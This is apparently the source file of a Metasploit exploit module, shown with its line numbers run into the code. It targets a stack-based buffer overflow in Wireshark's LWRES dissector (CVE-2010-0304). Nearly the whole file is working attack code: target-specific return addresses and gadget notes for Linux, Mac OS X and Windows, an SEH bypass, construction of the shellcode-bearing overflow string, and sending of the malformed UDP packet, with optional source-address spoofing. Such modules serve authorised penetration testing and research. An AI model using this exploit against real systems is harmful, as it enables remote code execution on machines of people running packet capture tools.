Path: blob/master/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb
33297 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh10include Msf::Exploit::Capture1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow',17'Description' => %q{18The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through191.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer20overflow. This bug found and reported by babi.2122This particular exploit targets the dissect_getaddrsbyname_request function. Several23other functions also contain potentially exploitable stack-based buffer overflows.2425The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents26exploitation via the return address on the stack. Sending a larger string allows27exploitation using the SEH bypass method. However, this packet will usually get28fragmented, which may cause additional complications.2930NOTE: The vulnerable code is reached only when the packet dissection is rendered.31If the packet is fragmented, all fragments must be captured and reassembled to32exploit this issue.33},34'Author' => [35'babi', # original discovery/exploit36'jduck', # ported from public exploit37'redsand' # windows target/testing38],39'License' => MSF_LICENSE,40'References' => [41[ 'CVE', '2010-0304' ],42[ 'OSVDB', '61987' ],43[ 'BID', '37985' ],44[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],45[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]46],47'DefaultOptions' => {48'EXITFUNC' => 'process'49},50'Privileged' => true, # at least capture privilege51'Payload' => {52'Space' => 512,53'BadChars' => "\x00",54'DisableNops' => true55},56'Targets' => [57[58'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',59# breakpoint: lwres.so + 0x2ce260{61'Arch' => ARCH_X86,62'Platform' => 'linux',63# conveniently, edx pointed at our string..64# and so, we write it to g_slist_append's GOT entry just before its called.65# pwnt.66#67# mov [ebx+0xc],edx / jmp 0x804fc40 -->68# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append69#70'Ret' => 0x804fc85, # see above..71'RetOff' => 376,72'Readable' => 0x804fa04, # just anything73'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append74}75],76[77'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',78{79'Arch' => ARCH_X86,80'Platform' => 'linux',81# the method for tshark doesn't work, since there aren't any convenient82# pointers lying around (in reg/close on stack)83#84# since the wireshark bin has a jmp esp, we'll just use that method..85'Ret' => 0x818fce8, # jmp esp in wireshark bin86'RetOff' => 376,87'Readable' => 0x8066a40, # just any old readable addr (unused)88'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)89}90],9192[93'wireshark 1.2.5 on RHEL 5.4 (x64)',94{95'Arch' => ARCH_X64,96'Platform' => 'linux',97'Ret' => 0xfeedfed5deadbeef,98'RetOff' => 15299}100],101102[103'wireshark 1.2.5 on Mac OS X 10.5 (x86)',104{105'Arch' => ARCH_X86,106'Platform' => 'osx',107'Ret' => 0xdeadbeef,108'RetOff' => 268109}110],111112# The following target was tested against Windows XP SP3 and Windows Vista113[114'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',115{116'Arch' => ARCH_X86,117'Platform' => 'win',118# NOTE: due to the length of this packet, your mileage may vary.119'Ret' => 0x61B4121B,120# 0x655810b6 = pop/pop/ret in libpango121# 0x02A110B6 = pop/pop/ret in libgtk-w122# 0x03D710CC = pop/mov/pop/ret in packet123# 0x61B4121B = pop/pop/ret in pcre3124'RetOff' => 2128125}126],127],128'DisclosureDate' => '2010-01-27',129'Notes' => {130'Reliability' => UNKNOWN_RELIABILITY,131'Stability' => UNKNOWN_STABILITY,132'SideEffects' => UNKNOWN_SIDE_EFFECTS133}134)135)136137register_options([138Opt::RPORT(921),139OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])140])141142deregister_options('FILTER', 'PCAPFILE')143end144145def exploit146check_pcaprub_loaded # Check first147148ret_offset = target['RetOff']149150# we have different techniques depending on the target151if (target == targets[0])152# debian tshark153str = make_nops(ret_offset - payload.encoded.length - 16)154str << payload.encoded155str << [target['GotAddr'] - 0xc].pack('V')156str << rand_text(4)157str << [target['Readable']].pack('V')158str << rand_text(4)159# ret is next160elsif (target == targets[1])161fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-3500').encode_string162str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)163str << fix_esp164str << payload.encoded165# jmp esp...166str << [target.ret].pack('V')167# jump back168distance = ret_offset + 4169str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string170elsif (target == targets[2])171str = Rex::Text.pattern_create(ret_offset - 8)172str << Rex::Arch.pack_addr(target.arch, 0xdac0ffeebadc0ded)173elsif (target == targets[4])174# ugh, /GS and UDP length issues :-/175str = make_nops(ret_offset - payload.encoded.length)176str << payload.encoded177str << generate_seh_record(target.ret)178# jump back179distance = ret_offset + 8180str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string181else182# this is just a simple DoS payload183str = Rex::Text.pattern_create(ret_offset)184# str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string185end186187# add return address188str << Rex::Arch.pack_addr(target.arch, target.ret)189190# form the packet's payload!191sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"192sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"193sploit << "\x00\x00\x00\x01"194sploit << [str.length].pack('n')195sploit << str196sploit << "\x00\x00"197198shost = datastore['SHOST']199if (shost)200print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")201open_pcap202203p = PacketFu::UDPPacket.new204p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)205p.ip_daddr = rhost206p.udp_sport = rand((2**16) - 1024) + 1024207p.udp_dport = datastore['RPORT'].to_i208p.payload = sploit209p.recalc210211sent = capture_sendto(p, rhost)212close_pcap213214handler if sent215else216print_status("Sending malformed LWRES packet to #{rhost}")217connect_udp218udp_sock.put(sploit)219220handler221disconnect_udp222end223end224end225226227